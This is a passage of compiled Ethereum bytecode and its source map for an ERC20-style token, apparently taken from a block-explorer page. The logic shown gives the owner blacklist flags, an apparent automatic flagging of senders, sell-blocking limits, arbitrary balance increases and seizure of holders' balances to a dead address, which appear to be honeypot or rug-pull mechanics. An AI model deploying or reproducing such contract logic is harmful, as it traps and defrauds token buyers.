00000008152600401611d5d9061315c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc906131ee565b60405180910390fd5b600e60019054906101000a900460ff1615611f78576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613280565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f069190612d9a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f6a9190612aca565b60405180910390a350611f8e565b611f828382611f93565b611f8d838383612254565b5b505050565b611f9b610dcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120205750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207a5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561225057600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120d657600080fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561216b57600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561216a57600080fd5b5b6000600b54111561218657600b5481111561218557600080fd5b5b600a60009054906101000a900460ff16156121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd906132ec565b60405180910390fd5b6000600c54111561223057600c54600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561222f57600080fd5b5b600e60009054906101000a900460ff161561224f5761224e82612872565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90613358565b60405180910390fd5b600061dead90506122e5610dcc565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561236a5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156126ea5760006064600d54846123b99190612ecc565b6123c391906133a7565b9050600081846123d39190612f26565b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124209190612f26565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ae9190612d9a565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254e9190612aca565b60405180910390a36000600d5411156126e35781600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac9190612f26565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263a9190612d9a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126da9190612aca565b60405180910390a35b505061286c565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127359190612f26565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c39190612d9a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128639190612aca565b60405180910390a35b50505050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128fd826128d2565b9050919050565b61290d816128f2565b811461291857600080fd5b50565b60008135905061292a81612904565b92915050565b600060208284031215612946576129456128cd565b5b60006129548482850161291b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561299757808201518184015260208101905061297c565b60008484015250505050565b6000601f19601f8301169050919050565b60006129bf8261295d565b6129c98185612968565b93506129d9818560208601612979565b6129e2816129a3565b840191505092915050565b60006020820190508181036000830152612a0781846129b4565b905092915050565b6000819050919050565b612a2281612a0f565b8114612a2d57600080fd5b50565b600081359050612a3f81612a19565b92915050565b60008060408385031215612a5c57612a5b6128cd565b5b6000612a6a8582860161291b565b9250506020612a7b85828601612a30565b9150509250929050565b60008115159050919050565b612a9a81612a85565b82525050565b6000602082019050612ab56000830184612a91565b92915050565b612ac481612a0f565b82525050565b6000602082019050612adf6000830184612abb565b92915050565b600080600060608486031215612afe57612afd6128cd565b5b6000612b0c8682870161291b565b9350506020612b1d8682870161291b565b9250506040612b2e86828701612a30565b9150509250925092565b600060ff82169050919050565b612b4e81612b38565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612a85565b8114612b8357600080fd5b50565b600081359050612b9581612b6f565b92915050565b600060208284031215612bb157612bb06128cd565b5b6000612bbf84828501612b86565b91505092915050565b60008060408385031215612bdf57612bde6128cd565b5b6000612bed8582860161291b565b9250506020612bfe85828601612b86565b9150509250929050565b612c11816128f2565b82525050565b6000602082019050612c2c6000830184612c08565b92915050565b600060208284031215612c4857612c476128cd565b5b6000612c5684828501612a30565b91505092915050565b60008060408385031215612c7657612c756128cd565b5b6000612c848582860161291b565b9250506020612c958582860161291b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cd5602083612968565b9150612ce082612c9f565b602082019050919050565b60006020820190508181036000830152612d0481612cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d5257607f821691505b602082108103612d6557612d64612d0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612da582612a0f565b9150612db083612a0f565b9250828201905080821115612dc857612dc7612d6b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e2a602583612968565b9150612e3582612dce565b604082019050919050565b60006020820190508181036000830152612e5981612e1d565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000612e96600c83612968565b9150612ea182612e60565b602082019050919050565b60006020820190508181036000830152612ec581612e89565b9050919050565b6000612ed782612a0f565b9150612ee283612a0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1b57612f1a612d6b565b5b828202905092915050565b6000612f3182612a0f565b9150612f3c83612a0f565b9250828203905081811115612f5457612f53612d6b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb6602483612968565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613048602283612968565b915061305382612fec565b604082019050919050565b600060208201905081810360008301526130778161303b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006130b4601d83612968565b91506130bf8261307e565b602082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613146602583612968565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d8602383612968565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061326a602683612968565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b60006132d6600583612968565b91506132e1826132a0565b602082019050919050565b60006020820190508181036000830152613305816132c9565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000613342601583612968565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133b282612a0f565b91506133bd83612a0f565b9250826133cd576133cc613378565b5b82820490509291505056fea2646970667358221220232e28d1b8c2dbd1adbf971ca5eea1ad6e0b02e5cb143d138387251b2657381164736f6c63430008100033

Deployed Bytecode Sourcemap

3053:15521:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5735:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3865:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7846:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18483:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4985:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18376:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8652:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18401:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4827:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9356:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6024:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5307:92;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6679:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6311:144;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5407:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5156:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18430:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6121:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;651:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4084:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5837:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10122:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7069:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6217:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18543:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5637:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14581:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5511:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7350:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18458:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15138:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6463:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18013:81;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12210:561;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5735:94;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5816:5:::1;5800:4;:13;5805:7;5800:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;5735:94:::0;:::o;3865:100::-;3919:13;3952:5;3945:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3865:100;:::o;7846:226::-;7954:4;7971:13;7987:12;:10;:12::i;:::-;7971:28;;8010:32;8019:5;8026:7;8035:6;8010:8;:32::i;:::-;8060:4;8053:11;;;7846:226;;;;:::o;18483:20::-;;;;;;;;;;;;;:::o;4985:108::-;5046:7;5073:12;;5066:19;;4985:108;:::o;18376:18::-;;;;;;;;;;;;;:::o;8652:295::-;8783:4;8800:15;8818:12;:10;:12::i;:::-;8800:30;;8841:38;8857:4;8863:7;8872:6;8841:15;:38::i;:::-;8890:27;8900:4;8906:2;8910:6;8890:9;:27::i;:::-;8935:4;8928:11;;;8652:295;;;;;:::o;18401:22::-;;;;:::o;4827:93::-;4885:5;4910:2;4903:9;;4827:93;:::o;9356:263::-;9469:4;9486:13;9502:12;:10;:12::i;:::-;9486:28;;9525:64;9534:5;9541:7;9578:10;9550:25;9560:5;9567:7;9550:9;:25::i;:::-;:38;;;;:::i;:::-;9525:8;:64::i;:::-;9607:4;9600:11;;;9356:263;;;;:::o;6024:89::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6098:7:::1;6087:8;;:18;;;;;;;;;;;;;;;;;;6024:89:::0;:::o;5307:92::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5387:4:::1;5370:5;:14;5376:7;5370:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;5307:92:::0;:::o;6679:184::-;6783:13;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6827:4:::1;6809:15;;:22;;;;;;;;;;;;;;;;;;6850:5;6842:13;;6679:184:::0;;;;:::o;6311:144::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6389:1:::1;6379:6;:11;;6371:20;;;::::0;::::1;;6420:3;6410:6;:13;;6402:22;;;::::0;::::1;;6441:6;6435:3;:12;;;;6311:144:::0;:::o;5407:96::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5490:5:::1;5473;:14;5479:7;5473:14;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;5407:96:::0;:::o;5156:143::-;5246:7;5273:9;:18;5283:7;5273:18;;;;;;;;;;;;;;;;5266:25;;5156:143;;;:::o;18430:21::-;;;;:::o;6121:88::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6195:6:::1;6185:7;:16;;;;6121:88:::0;:::o;651:79::-;689:7;716:6;;;;;;;;;;;709:13;;651:79;:::o;4084:104::-;4140:13;4173:7;4166:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4084:104;:::o;5837:88::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5910:7:::1;5901:6;;:16;;;;;;;;;;;;;;;;;;5837:88:::0;:::o;10122:498::-;10240:4;10257:13;10273:12;:10;:12::i;:::-;10257:28;;10296:24;10323:25;10333:5;10340:7;10323:9;:25::i;:::-;10296:52;;10401:15;10381:16;:35;;10359:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;10517:60;10526:5;10533:7;10561:15;10542:16;:34;10517:8;:60::i;:::-;10608:4;10601:11;;;;10122:498;;;;:::o;7069:218::-;7173:4;7190:13;7206:12;:10;:12::i;:::-;7190:28;;7229;7239:5;7246:2;7250:6;7229:9;:28::i;:::-;7275:4;7268:11;;;7069:218;;;;:::o;6217:86::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6289:6:::1;6280;:15;;;;6217:86:::0;:::o;18543:27::-;;;;;;;;;;;;;:::o;5637:90::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5715:4:::1;5699;:13;5704:7;5699:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;5637:90:::0;:::o;14581:161::-;14669:4;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14700:12:::1;14686:11;;:26;;;;;;;;;;;;;;;;;;14730:4;14723:11;;14581:161:::0;;;:::o;5511:118::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5615:6:::1;5593:10;:19;5604:7;5593:19;;;;;;;;;;;;;;;:28;;;;5511:118:::0;;:::o;7350:176::-;7464:7;7491:11;:18;7503:5;7491:18;;;;;;;;;;;;;;;:27;7510:7;7491:27;;;;;;;;;;;;;;;;7484:34;;7350:176;;;;:::o;18458:18::-;;;;:::o;15138:137::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15261:6:::1;15240:9;:18;15250:7;15240:18;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;15219:9;:18;15229:7;15219:18;;;;;;;;;;;;;;;:48;;;;15138:137:::0;;:::o;6463:208::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6566:1:::1;6545:23;;:9;:23;;::::0;6537:32:::1;;;::::0;::::1;;6580:16;6599:7;:5;:7::i;:::-;6580:26;;6653:9;6622:41;;6643:8;6622:41;;;;;;;;;;;;6526:145;6463:208:::0;:::o;18013:81::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18080:6:::1;18072:5;;:14;;;;;;;;;;;;;;;;;;18013:81:::0;:::o;12210:561::-;788:12;:10;:12::i;:::-;778:22;;:6;;;;;;;;;;:22;;;770:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12308:7:::1;:5;:7::i;:::-;12298:17;;:6;:17;;::::0;12290:42:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;12343:19;12365:42;12343:64;;12452:8;12443:6;:17;;;;:::i;:::-;12422:9;:17;12432:6;12422:17;;;;;;;;;;;;;;;;:38;12418:346;;12497:1;12477:9;:17;12487:6;12477:17;;;;;;;;;;;;;;;:21;;;;12563:9;:17;12573:6;12563:17;;;;;;;;;;;;;;;;12538:9;:22;12548:11;12538:22;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;12513:9;:22;12523:11;12513:22;;;;;;;;;;;;;;;:67;;;;12418:346;;;12662:8;12653:6;:17;;;;:::i;:::-;12633:9;:17;12643:6;12633:17;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;12613:9;:17;12623:6;12613:17;;;;;;;;;;;;;;;:57;;;;12744:8;12735:6;:17;;;;:::i;:::-;12710:9;:22;12720:11;12710:22;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;12685:9;:22;12695:11;12685:22;;;;;;;;;;;;;;;:67;;;;12418:346;12279:492;12210:561:::0;;:::o;93:98::-;146:7;173:10;166:17;;93:98;:::o;14750:380::-;14903:1;14886:19;;:5;:19;;;14878:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14984:1;14965:21;;:7;:21;;;14957:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15068:6;15038:11;:18;15050:5;15038:18;;;;;;;;;;;;;;;:27;15057:7;15038:27;;;;;;;;;;;;;;;:36;;;;15106:7;15090:32;;15099:5;15090:32;;;15115:6;15090:32;;;;;;:::i;:::-;;;;;;;;14750:380;;;:::o;15566:502::-;15701:24;15728:25;15738:5;15745:7;15728:9;:25::i;:::-;15701:52;;15788:17;15768:16;:37;15764:297;;15868:6;15848:16;:26;;15822:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;15983:51;15992:5;15999:7;16027:6;16008:16;:25;15983:8;:51::i;:::-;15764:297;15690:378;15566:502;;;:::o;11090:787::-;11237:1;11221:18;;:4;:18;;;11213:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11314:1;11300:16;;:2;:16;;;11292:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11373:5;;;;;;;;;;;11369:501;;;11395:19;11417:9;:15;11427:4;11417:15;;;;;;;;;;;;;;;;11395:37;;11488:6;11473:11;:21;;11447:121;;;;;;;;;;;;:::i;:::-;;;;;;;;;11644:6;11630:11;:20;11612:9;:15;11622:4;11612:15;;;;;;;;;;;;;;;:38;;;;11697:6;11680:9;:13;11690:2;11680:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;11740:2;11725:26;;11734:4;11725:26;;;11744:6;11725:26;;;;;;:::i;:::-;;;;;;;;11380:383;11369:501;;;11784:34;11805:4;11811:6;11784:20;:34::i;:::-;11833:25;11841:4;11847:2;11851:6;11833:7;:25::i;:::-;11369:501;11090:787;;;:::o;16668:739::-;16807:7;:5;:7::i;:::-;16799:15;;:4;:15;;;;:31;;;;;16819:5;:11;16825:4;16819:11;;;;;;;;;;;;;;;;;;;;;;;;;16818:12;16799:31;:54;;;;;16842:11;;;;;;;;;;;16834:19;;:4;:19;;;;16799:54;16781:619;;;16919:4;:10;16924:4;16919:10;;;;;;;;;;;;;;;;;;;;;;;;;16918:11;16910:20;;;;;;16968:1;16949:10;:16;16960:4;16949:16;;;;;;;;;;;;;;;;:20;16945:96;;;17008:10;:16;17019:4;17008:16;;;;;;;;;;;;;;;;16998:6;:26;;16990:35;;;;;;16945:96;17071:1;17061:7;;:11;17057:78;;;17111:7;;17101:6;:17;;17093:26;;;;;;17057:78;17153:6;;;;;;;;;;;17149:62;;;17180:15;;;;;;;;;;:::i;:::-;;;;;;;;17149:62;17238:1;17229:6;;:10;17225:85;;;17287:6;;17268:9;:15;17278:4;17268:15;;;;;;;;;;;;;;;;:25;;17260:34;;;;;;17225:85;17330:8;;;;;;;;;;;17326:63;;;17359:14;17368:4;17359:8;:14::i;:::-;17326:63;16781:619;16668:739;;:::o;13017:1088::-;13167:5;13146:9;:17;13156:6;13146:17;;;;;;;;;;;;;;;;:26;;13138:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;13209:19;13231:42;13209:64;;13298:7;:5;:7::i;:::-;13288:17;;:6;:17;;;;:35;;;;;13310:5;:13;13316:6;13310:13;;;;;;;;;;;;;;;;;;;;;;;;;13309:14;13288:35;:62;;;;;13345:4;13327:23;;:6;:23;;;;13288:62;13284:814;;;13367:16;13403:3;13396;;13388:5;:11;;;;:::i;:::-;13387:19;;;;:::i;:::-;13367:40;;13422:14;13447:8;13439:5;:16;;;;:::i;:::-;13422:33;;13510:6;13490:9;:17;13500:6;13490:17;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;13470:9;:17;13480:6;13470:17;;;;;;;;;;;;;;;:46;;;;13577:6;13554:9;:20;13564:9;13554:20;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;13531:9;:20;13541:9;13531:20;;;;;;;;;;;;;;;:52;;;;13620:9;13603:35;;13612:6;13603:35;;;13631:6;13603:35;;;;;;:::i;:::-;;;;;;;;13663:1;13657:3;;:7;13653:236;;;13725:8;13705:9;:17;13715:6;13705:17;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;13685:9;:17;13695:6;13685:17;;;;;;;;;;;;;;;:48;;;;13802:8;13777:9;:22;13787:11;13777:22;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;13752:9;:22;13762:11;13752:22;;;;;;;;;;;;;;;:58;;;;13851:11;13834:39;;13843:6;13834:39;;;13864:8;13834:39;;;;;;:::i;:::-;;;;;;;;13653:236;13352:548;;13284:814;;;13961:5;13941:9;:17;13951:6;13941:17;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;13921:9;:17;13931:6;13921:17;;;;;;;;;;;;;;;:45;;;;14027:5;14004:9;:20;14014:9;14004:20;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;13981:9;:20;13991:9;13981:20;;;;;;;;;;;;;;;:51;;;;14069:9;14052:34;;14061:6;14052:34;;;14080:5;14052:34;;;;;;:::i;:::-;;;;;;;;13284:814;13127:978;13017:1088;;;:::o;5933:83::-;6004:4;5988;:13;5993:7;5988:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;5933:83;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450